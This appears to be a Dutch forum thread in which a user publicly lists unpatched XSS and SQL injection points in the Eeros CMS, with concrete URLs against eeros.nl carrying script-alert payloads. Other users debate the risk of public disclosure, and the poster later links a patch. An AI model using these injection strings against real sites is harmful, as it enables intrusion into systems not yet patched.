[EEROS] beveiligings lekken

He ,

ik heb een lijst van exploits in eeros :

XSS :

http://www.eeros.nl/?p=priveberichten&n&aan=smiegles">
http://www.eeros.nl/?p=forum&t=12&t_p=<script>alert(0);</script>
http://www.eeros.nl/?p=forum&t=12%22%3E&t_p=2<script>alert(0);</script>
http://www.eeros.nl/?p=priveberichten&n // aan en titel post
http://www.eeros.nl/?p=forum&n&id=2 // titel post xss injectie

SQL injectie :

http://www.eeros.nl/?p=forum&t=12&t_p=

ik zal proberen een "patch" te release nu moeten jullie het zelf doen.

mvg ,

Smiegles

Goed dat je ze post! Maar aan de andere kant ook weer niet, Hackers kunnen hier misbruik van maken en nu eeros systemen mee aanvallen.

Verder hoop ik dat de patch snel word gepost als je hulp zoekt mag je even pben.

Wouterp schreef:

Goed dat je ze post! Maar aan de andere kant ook weer niet, Hackers kunnen hier misbruik van maken en nu eeros systemen mee aanvallen.

Verder hoop ik dat de patch snel word gepost als je hulp zoekt mag je even pben.

patchen doe ik liever zelf dan weet ik dat het goed gebeurd.

Handig!

Emoticon schreef:

Handig!

Zolang er geen patch is, is dit niet handig maar eerder goedgevonden. Nu lijkt het net of je gaat het misbruiken

Beter had je Milan kunnen PMen.

Had mij al aangesproken op MSN

ik heb de patch bijna af ik zal hem vanavond release

Ik heb je release gevonden!

klopt die is hier : http://www.one2xs.com/threads/39510

Ja